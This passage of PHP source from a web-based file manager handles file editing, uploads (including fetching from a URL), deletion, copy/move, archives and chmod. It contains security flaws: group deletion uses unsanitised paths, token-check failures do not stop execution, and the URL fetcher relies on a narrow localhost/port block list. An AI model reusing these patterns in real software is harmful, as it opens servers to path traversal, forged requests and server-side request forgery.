    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
